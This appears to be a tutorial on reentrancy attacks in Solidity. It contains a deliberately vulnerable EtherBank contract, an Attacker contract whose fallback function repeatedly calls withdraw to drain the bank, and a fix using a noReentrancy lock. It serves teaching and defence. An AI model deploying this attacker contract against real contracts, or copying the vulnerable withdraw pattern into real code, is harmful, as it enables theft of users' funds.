# What is Reentrancy attack?

Suppose we have 2 contracts: A and B. Contract A calls contract B. The basic idea of Reentrancy attack is the contract B can call back into contract A while contract A is still executing.

For example, contract A has 100 Ether, the contract B has 0 Ether. In contract A, we have recorded the balance number for each address was deposited. Specifically, in this example, contract A records the balance of contract B is 1 Ether.

Contract A also has a withdraw function for depositors can get back money which deposited before.

The contract is OK if the caller is a wallet address (not a contract address). Example: John had deposited 1 Ether before to smart contract, and John wants to withdraw it today:

The contract will check John's balance is greater than 0 or not. If the balance is greater than 0, the contract will send Ether to John's wallet.

After contract A sends Ether to Join’s wallet, it will reset John’s balance record is 0:

It looks fine. But, with Solidity, we can use a smart contract to call another smart contract. For example, we will use contract B to exploit contract A. The key of contract B that we will use the fallback function feature of Solidity.

Step 1: Contract B will call the withdrawal function of contract A.

Step 2: Contract A check balance is greater than 0 or not. If this condition is satisfied, contract A will send Ether to contract B and make the fallback function of contract B is executed:

Step 3: The fallback function of contract B calls the withdraw function of contract A while the balance value of B is recorded by A is still greater than 0:

Step 4: Contract A will send Ether to contract B again.

Repeat much time, the contract B will withdraw all money of contract A:

# Smart contract:

Firstly, we create a contract named EtherBank. It is Contract A in the above example.

Note that, this code works when we use Solidity version ^0.6.0 or ^0.7.0.

`pragma solidity ^0.7.0;contract EtherBank {    uint public total = 0;    mapping(address => uint) public balances;        function deposit() public payable {        balances[msg.sender] += msg.value;         total += msg.value;    }        function withdraw(uint _amount) public {        require(balances[msg.sender] >= _amount , "Out of amount");                (bool sent, ) = msg.sender.call{value: _amount}("");                require(sent, "Failed to send Ether");                balances[msg.sender] -= _amount;        total -= _amount;            }        function getBalance() public view returns(uint) {        return balances[msg.sender];    }    }`

Secondly, we create another contract named Attacker. It is Contract B in the above example.

`pragma solidity ^0.7.0;import './EtherBank.sol';contract Attacker {    EtherBank public etherBank;        constructor(address _etherBankAddress) public {        etherBank = EtherBank(_etherBankAddress);    }        fallback() external payable {        if(address(etherBank).balance >= 1 ether){            etherBank.withdraw(1 ether);        }    }        function attack() public payable {        require(msg.value >= 1 ether);        etherBank.deposit{ value: 1 ether}();        etherBank.withdraw(1 ether);    }        function getBalance() public view returns(uint) {        return address(this).balance;    }}`

Call the attack function with 1 ether.

# How to prevent Reentrancy:

To prevent Reentrancy, we will declare a modifier named noReentrancy:

`pragma solidity ^0.7.0;contract EtherBank {    uint public total = 0;    mapping(address => uint) public balances;        function deposit() public payable {        balances[msg.sender] += msg.value;         total += msg.value;    }        bool internal locked;        modifier noReentrancy() {        require(!locked , 'No reentrancy');        locked = true;        _;        locked = false;    }        function withdraw(uint _amount) public noReentrancy {        require(balances[msg.sender] >= _amount , "Out of amount");                (bool sent, ) = msg.sender.call{value: _amount}("");                require(sent, "Failed to send Ether");                balances[msg.sender] -= _amount;        total -= _amount;            }        function getBalance() public view returns(uint) {        return balances[msg.sender];    }    }`

We will use a bool variable: locked. The magic is _; sentence. _; means continue executing the function (in this case is withdraw function).

Blockchain and Cryptocurrency